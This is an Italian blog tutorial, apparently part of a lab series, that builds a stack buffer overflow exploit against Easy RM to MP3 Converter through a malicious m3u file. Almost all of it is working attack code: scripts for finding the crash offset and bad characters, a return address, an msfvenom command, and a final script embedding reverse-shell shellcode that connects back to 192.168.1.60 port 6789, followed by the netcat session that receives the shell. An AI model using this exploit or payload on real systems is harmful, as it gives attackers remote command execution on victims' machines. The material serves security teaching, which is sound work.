Quarto articolo della serie Buffer Overflow, target: EasyRMtoMP3Converter
Altri post in questa serie:
L’ordine non è casuale, se non viene spiegato qualche dettaglio è perchè è stato spiegato in articoli precedenti. Consiglio di partire dal primo e proseguire in ordine.
Per avere un ambiente ad hoc serve:
Dopo aver caricato mona, ho modificato il salvataggio dei log con il seguente comando:
!py mona config -set workingfolder c:\monalogs\%p_%i
In questo modo ogni volta che creeremo qualcosa con mona, sarà facilmente accessibile.
NB: a meno di vulnerabilità particolari, in questi articoli salteremo l’identificazione della vulnerabilità (che richiede fuzzing o analisi manuale del codice assembly in IDA) ma ci focalizzeremo sullo sfruttamento della stessa. Se siete interessati a questa parte alcuni tool da guardare sono Boofuzz e SPIKE.
NB2: Poichè il bypass di DEP non è oggetto di questo articolo, ho disabilitato le protezioni di Windows (Windows Security -> App & Browser Control -> Exploit Protection Settings -> Program Settings -> Add program to customize -> filename.exe -> DEP, ASLR, CFG, etc disabilitati).
EasyRMtoMP3Converter è un programma utilizzato ai tempi di Windows XP per convertire formati audio. In questo caso la vulnerabilità è locale e si trova nel parsing di un file m3u.
Sapendo che il server è vulnerabile a Stack Overflow, andiamo a creare un primo file che lo manderà in crash.
#!/usr/bin/python
file = "crash1.m3u"
f = open(file , "w")
CRASH_LEN = 30000 # change me
junk = "A" * CRASH_LEN
f.write(junk)
f.close()
Poiché 30000 caratteri creati con mona potrebbero portare a falsi positivi, divido la lunghezza del crash in più parti, in modo da avvicinarmi all’offset manualmente.
#!/usr/bin/python
file = "crash1.m3u"
f = open(file , "w")
CRASH_LEN = 30000 # change me
payload = "A"*20000
payload += "B"*10000
f.write(payload)
f.close()
Le B hanno sovrascritto l’EIP, quindi l’overwrite è dopo i 20000. Divido ancora una volta
#!/usr/bin/python
file = "crash1.m3u"
f = open(file , "w")
CRASH_LEN = 30000 # change me
payload = "A"*20000
payload += "B"*5000
payload += "C"*5000
f.write(payload)
f.close()
Ora che ho un punto più preciso posso creare con pattern_create di mona il mio pattern casuale
!py mona pc 5000
Riavvio Easy e aggiorno lo script inserendo il pattern di 5000
#!/usr/bin/python
file = "crash1.m3u"
f = open(file , "w")
CRASH_LEN = 30000 # change me
payload = "A"*25000
payload += "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak..."
f.write(payload)
f.close()
Troviamo l’offset preciso con pattern_offset, il quale cerca un preciso pattern all’interno della memoria
0:000> !py mona po 0x38694237
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py po 0x38694237
Looking for 7Bi8 in pattern of 500000 bytes
- Pattern 7Bi8 (0x38694237) found in cyclic pattern at position 1043
Looking for 7Bi8 in pattern of 500000 bytes
Per fare una verifica puntuale modifichiamo lo script in modo da sovrascrivere EIP con 4 B seguite da un po' di C (che saranno poi lo spazio per il nostro shellcode)
#!/usr/bin/python
file = "crash1.m3u"
f = open(file , "w")
CRASH_LEN = 30000 # change me
payload = "A" * 26043 # 25000 + 1043
payload += "B" * 4
payload += "C" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
Certi eseguibili eliminano o modificano determinati caratteri, per cui è necessario capire se ci sono caratteri che “rompono” o modificano il nostro shellcode. Per capire quali sono è sufficente inviare tutto il range di caratteri (da \x00 a \xff) e vedere se in qualche modo sono stati eliminati o modificati. Creo quindi su mona i byte che ci servono
!py mona ba -cpb '\x00'
NB: Se non ci fosse spazio per tutti i byte, avremmo potuto crearli utilizzando un range, per esempio:
!py mona ba -s 1 -e 46
!py mona ba -s 47 -e 8c
!py mona ba -s 8d -e d2
!py mona ba -s d3 -e ff
Aggiorniamo lo script di conseguenza (ho eliminato subito \x00 poiché quasi tutti gli eseguibili non lo accettano)
#!/usr/bin/python
file = "crash1.m3u"
f = open(file , "wb")
CRASH_LEN = 30000 # change me
#\x00
bad_chars = b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
bad_chars += b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
bad_chars += b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
bad_chars += b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
bad_chars += b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
bad_chars += b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
bad_chars += b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
bad_chars += b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
payload = b"A" * 26043
payload += b"B" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
Non ci sono più i primi 4 byte. Questo può essere dovuto a due cose:
Provo a seguire la seconda opzione, inserendo 4 NOP (\x90) e rilanciando lo stesso script
-----------
payload = b"A" * 26043
payload += b"B" * 4
payload += b"\x90" * 4
payload += bad_chars
payload += b"C" * (CRASH_LEN - len(payload))
-----------
Vediamo ora che dopo \x08 non c’è più nulla, quindi probabilmente \x09 è un bad char. Lo tolgo e ripeto fino a che non li identifico tutti
Tolto #\x00\x09\x0a
0:000> db esp L100
0011f430 01 02 03 04 05 06 07 08-0b 0c 0d 0e 0f 10 11 12 ................
0011f440 13 14 15 16 17 18 19 1a-1b 1c 1d 1e 1f 20 21 22 ............. !"
0011f450 23 24 25 26 27 28 29 2a-2b 2c 2d 2e 2f 30 31 32 #$%&'()*+,-./012
0011f460 33 34 35 36 37 38 39 3a-3b 3c 3d 3e 3f 40 41 42 3456789:;<=>?@AB
0011f470 43 44 45 46 47 48 49 4a-4b 4c 4d 4e 4f 50 51 52 CDEFGHIJKLMNOPQR
0011f480 53 54 55 56 57 58 59 5a-5b 5c 5d 5e 5f 60 61 62 STUVWXYZ[\]^_`ab
0011f490 63 64 65 66 67 68 69 6a-6b 6c 6d 6e 6f 70 71 72 cdefghijklmnopqr
0011f4a0 73 74 75 76 77 78 79 7a-7b 7c 7d 7e 7f 80 81 82 stuvwxyz{|}~....
0011f4b0 83 84 85 86 87 88 89 8a-8b 8c 8d 8e 8f 90 91 92 ................
0011f4c0 93 94 95 96 97 98 99 9a-9b 9c 9d 9e 9f a0 a1 a2 ................
0011f4d0 a3 a4 a5 a6 a7 a8 a9 aa-ab ac ad ae af b0 b1 b2 ................
0011f4e0 b3 b4 b5 b6 b7 b8 b9 ba-bb bc bd be bf c0 c1 c2 ................
0011f4f0 c3 c4 c5 c6 c7 c8 c9 ca-cb cc cd ce cf d0 d1 d2 ................
0011f500 d3 d4 d5 d6 d7 d8 d9 da-db dc dd de df e0 e1 e2 ................
0011f510 e3 e4 e5 e6 e7 e8 e9 ea-eb ec ed ee ef f0 f1 f2 ................
0011f520 f3 f4 f5 f6 f7 f8 f9 fa-fb fc fd fe ff 43 43 43 .............CCC
Ora ci sono tutti, quindi sarà sufficente tenere lo sled di 4. Il NOP Sled sono istruzioni dette “no operation” nelle quali la CPU fa una sorta di slide (scivolo) e le supera ignorandole completamente (Wikipedia).
L’obiettivo ora è trovare un modo per fare un jump al nostro shellcode e poterlo eseguire (abbiamo disabilitato tutte le protezioni per cui per ora non ci sono problemi). Ci sono diversi modi per farlo, per ora proviamo con il classico JMP ESP. Per cercare un indirizzo che contenga l’istruzione il comando con mona è il seguente (escludendo \x00)
0:000> !py mona jmp -r esp -cpb '\x00\x09\x0a'
Hold on...
[+] Command used:
!py C:\Program Files\Windows Kits\10\Debuggers\x86\mona.py jmp -r esp -cpb '\x00\x09\x0a'
---------- Mona command started on 2022-09-03 18:03:59 (v2.0, rev 616) ----------
- Number of pointers of type 'push esp # ret ' : 1
[+] Results :
0x1001b058 | 0x1001b058 : push esp # ret | {PAGE_EXECUTE_READ} [MSRMfilter03.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Program Files\Easy RM to MP3 Converter\MSRMfilter03.dll)
In questo caso non ci sono JMP ESP ma solo un PUSH ESP; RET. Nella pratica la differenza è minima, poichè con questa istruzione viene:
Aggiorno lo script con l’indirizzo ed inserisco un breakpoint allo stesso (bp 0x1001b058), in modo da vedere se è tutto a posto.
#!/usr/bin/python
import struct
file = "crash1.m3u"
f = open(file , "wb")
CRASH_LEN = 30000 # change me
#\x00\x09\x0a
payload = b"A" * 26043
payload += struct.pack("<I",0x1001b058) #PUSH ESP; RET
payload += b"\x90" * 4
payload += b"C" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
Il breakpoint si ferma al nostro JMP che punta alle C, per cui sembra funzionare tutto.
Ora non ci rimane che creare lo shellcode con msfvenom (o manualmente) ed inserirlo al posto delle C. Creiamo una reverse shell con msfvenom
msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00\x09\x0a' EXITFUNC=threadd
Il codice finale sarà
#!/usr/bin/python
import struct
file = "crash1.m3u"
f = open(file , "wb")
CRASH_LEN = 30000 # change me
#\x00\x09\x0a
#msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.60 LPORT=6789 -f python -v shellcode -b '\x00\x09\x0a' EXITFUNC=thread
shellcode = b""
shellcode += b"\xba\xfc\xc7\xd1\xe3\xdb\xdc\xd9\x74\x24\xf4"
shellcode += b"\x5d\x29\xc9\xb1\x52\x83\xed\xfc\x31\x55\x0e"
shellcode += b"\x03\xa9\xc9\x33\x16\xad\x3e\x31\xd9\x4d\xbf"
shellcode += b"\x56\x53\xa8\x8e\x56\x07\xb9\xa1\x66\x43\xef"
shellcode += b"\x4d\x0c\x01\x1b\xc5\x60\x8e\x2c\x6e\xce\xe8"
shellcode += b"\x03\x6f\x63\xc8\x02\xf3\x7e\x1d\xe4\xca\xb0"
shellcode += b"\x50\xe5\x0b\xac\x99\xb7\xc4\xba\x0c\x27\x60"
shellcode += b"\xf6\x8c\xcc\x3a\x16\x95\x31\x8a\x19\xb4\xe4"
shellcode += b"\x80\x43\x16\x07\x44\xf8\x1f\x1f\x89\xc5\xd6"
shellcode += b"\x94\x79\xb1\xe8\x7c\xb0\x3a\x46\x41\x7c\xc9"
shellcode += b"\x96\x86\xbb\x32\xed\xfe\xbf\xcf\xf6\xc5\xc2"
shellcode += b"\x0b\x72\xdd\x65\xdf\x24\x39\x97\x0c\xb2\xca"
shellcode += b"\x9b\xf9\xb0\x94\xbf\xfc\x15\xaf\xc4\x75\x98"
shellcode += b"\x7f\x4d\xcd\xbf\x5b\x15\x95\xde\xfa\xf3\x78"
shellcode += b"\xde\x1c\x5c\x24\x7a\x57\x71\x31\xf7\x3a\x1e"
shellcode += b"\xf6\x3a\xc4\xde\x90\x4d\xb7\xec\x3f\xe6\x5f"
shellcode += b"\x5d\xb7\x20\x98\xa2\xe2\x95\x36\x5d\x0d\xe6"
shellcode += b"\x1f\x9a\x59\xb6\x37\x0b\xe2\x5d\xc7\xb4\x37"
shellcode += b"\xf1\x97\x1a\xe8\xb2\x47\xdb\x58\x5b\x8d\xd4"
shellcode += b"\x87\x7b\xae\x3e\xa0\x16\x55\xa9\x0f\x4e\x54"
shellcode += b"\x15\xf8\x8d\x56\x7f\x7d\x18\xb0\x15\x6d\x4d"
shellcode += b"\x6b\x82\x14\xd4\xe7\x33\xd8\xc2\x82\x74\x52"
shellcode += b"\xe1\x73\x3a\x93\x8c\x67\xab\x53\xdb\xd5\x7a"
shellcode += b"\x6b\xf1\x71\xe0\xfe\x9e\x81\x6f\xe3\x08\xd6"
shellcode += b"\x38\xd5\x40\xb2\xd4\x4c\xfb\xa0\x24\x08\xc4"
shellcode += b"\x60\xf3\xe9\xcb\x69\x76\x55\xe8\x79\x4e\x56"
shellcode += b"\xb4\x2d\x1e\x01\x62\x9b\xd8\xfb\xc4\x75\xb3"
shellcode += b"\x50\x8f\x11\x42\x9b\x10\x67\x4b\xf6\xe6\x87"
shellcode += b"\xfa\xaf\xbe\xb8\x33\x38\x37\xc1\x29\xd8\xb8"
shellcode += b"\x18\xea\xf8\x5a\x88\x07\x91\xc2\x59\xaa\xfc"
shellcode += b"\xf4\xb4\xe9\xf8\x76\x3c\x92\xfe\x67\x35\x97"
shellcode += b"\xbb\x2f\xa6\xe5\xd4\xc5\xc8\x5a\xd4\xcf"
payload = b"A" * 26043
payload += struct.pack("<I",0x1001b058) #PUSH ESP; RET
payload += b"\x90" * 4
payload += b"\x90" * 20
payload += shellcode
payload += b"C" * (CRASH_LEN - len(payload))
f.write(payload)
f.close()
kali@kali:~$ nc -nlvp 6789
listening on [any] 6789 ...
connect to [192.168.1.60] from (UNKNOWN) [192.168.1.14] 26811
Microsoft Windows [Version 10.0.19044.1706]
(c) Microsoft Corporation. All rights reserved.
C:\Program Files\Easy RM to MP3 Converter>
In questo articolo abbiamo visto come sia possibile sfruttare una vulnerabilità di tipo Stack Overflow per eseguire codice arbitrario e ottenere accesso ad un host remoto. Di seguito alcune risorse utili: